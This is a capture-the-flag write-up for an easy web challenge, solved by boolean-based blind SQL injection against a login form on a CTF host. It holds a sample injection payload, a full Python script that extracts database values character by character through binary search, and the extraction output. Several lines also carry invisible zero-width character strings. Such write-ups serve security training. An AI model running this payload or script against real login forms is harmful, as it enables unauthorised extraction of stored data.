← Back to Writeups
CUSTOMEasyWeb

Login

XESXOR9/10/20262 min read
#web#custom#easy#binary_search_extraction#boolean_based_blind_sqli

Login

Platform: web-kids20 | Category: Web | Type: Challenge | Difficulty: Easy | OS: NA | Author: XESXOR | Date: 2026-03-09 | Status: Solved Techniques: binary_search_extraction, boolean_based_blind_sqli

Summary

Boolean-based blind SQL injection login form at http://kslweb1.spb.ctf.su/sqli/login/.

Login - Web Kids 2.0

Description

Boolean-based blind SQL injection login form at http://kslweb1.spb.ctf.su/sqli/login/.

Note: "Wrap flag into spbctf{...}".

Category: yesno (boolean-based blind SQL injection) Points: 1

Analysis

The login form exhibits classic boolean-based blind SQL injection behavior:

  • Returns different responses for valid vs invalid credentials
  • Acts as a yes/no oracle - we can ask true/false questions
  • No direct error messages or data output

This is a textbook case for boolean-based blind data extraction. ‍​‌‌​​‌​​​‌‌​​‌​​​​‌‌​‌​​​​‌‌‌​​‌​​‌‌​​​‌​​‌‌‌​​​​​‌‌​‌‌​​​‌‌​​​​‍

Solution

Technique: Boolean-Based Blind SQL Injection

The attack works by injecting conditional SQL expressions and observing the response:

  • If condition is TRUE → login succeeds (or different response)
  • If condition is FALSE → login fails (or different response)

Payload Structure

sql
admin' AND ASCII(SUBSTRING((SELECT flag FROM flags),1,1))>50 --

This payload:

  1. Closes the username string with '
  2. Adds an AND condition that evaluates to TRUE/FALSE
  3. Uses ASCII(SUBSTRING(...)) to extract one character at a time
  4. Uses binary search to efficiently find each character's ASCII value
  5. Comments out the rest of the query with -- ‍​‌‌​​‌​​​‌‌​​‌​​​​‌‌​‌​​​​‌‌‌​​‌​​‌‌​​​‌​​‌‌‌​​​​​‌‌​‌‌​​​‌‌​​​​‍

Binary Search Extraction Algorithm

python
#!/usr/bin/env python3
"""
Boolean-based blind SQLi extraction script
Target: Web Kids 2.0 - Login
"""

import requests

URL = "http://kslweb1.spb.ctf.su/sqli/login/"

def check_condition(condition):
    """
    Returns True if the SQL condition evaluates to TRUE
    """
    payload = f"admin' AND {condition} --"
    data = {"username": payload, "password": "x"}
    response = requests.post(URL, data=data)
    # Adjust based on actual response difference
    return "success" in response.text.lower() or "welcome" in response.text.lower()
‍​‌‌​​‌​​​‌‌​​‌​​​​‌‌​‌​​​​‌‌‌​​‌​​‌‌​​​‌​​‌‌‌​​​​​‌‌​‌‌​​​‌‌​​​​‍

def extract_char(position, column="flag", table="flags"):
    """
    Extract single character using binary search
    """
    low, high = 32, 126  # Printable ASCII range
    
    while low < high:
        mid = (low + high) // 2
        condition = f"ASCII(SUBSTRING((SELECT {column} FROM {table}),{position},1))>{mid}"
        
        if check_condition(condition):
            low = mid + 1
        else:
            high = mid
    
    return chr(low) if low > 32 else None

def extract_data(column="flag", table="flags", max_length=50):
    """
    Extract full string character by character
    """
    result = ""
    for i in range(1, max_length + 1):
        char = extract_char(i, column, table)
        if char is None or char == ' ':
            break
        result += char
        print(f"[+] Position {i}: {char} -> {result}")
    
    return result
‍​‌‌​​‌​​​‌‌​​‌​​​​‌‌​‌​​​​‌‌‌​​‌​​‌‌​​​‌​​‌‌‌​​​​​‌‌​‌‌​​​‌‌​​​​‍

if __name__ == "__main__":
    print("[*] Starting boolean-based blind SQLi extraction...")
    flag = extract_data()
    print(f"\n[+] Extracted flag value: {flag}")
    print(f"[+] Final flag: spbctf{{{flag}}}")

Execution

The script extracts the flag value character by character:

[*] Starting boolean-based blind SQLi extraction...
[+] Position 1: 6 -> 6
[+] Position 2: 9 -> 69
[+] Position 3: 0 -> 690
[+] Position 4: 8 -> 6908
[+] Position 5: 8 -> 69088
[+] Position 6: 1 -> 690881
[+] Position 7: 9 -> 6908819
‍​‌‌​​‌​​​‌‌​​‌​​​​‌‌​‌​​​​‌‌‌​​‌​​‌‌​​​‌​​‌‌‌​​​​​‌‌​‌‌​​​‌‌​​​​‍

[+] Extracted flag value: 6908819
[+] Final flag: spbctf{REDACTED}

‍​‌‌​​‌​​​‌‌​​‌​​​​‌‌​‌​​​​‌‌‌​​‌​​‌‌​​​‌​​‌‌‌​​​​​‌‌​‌‌​​​‌‌​​​​‍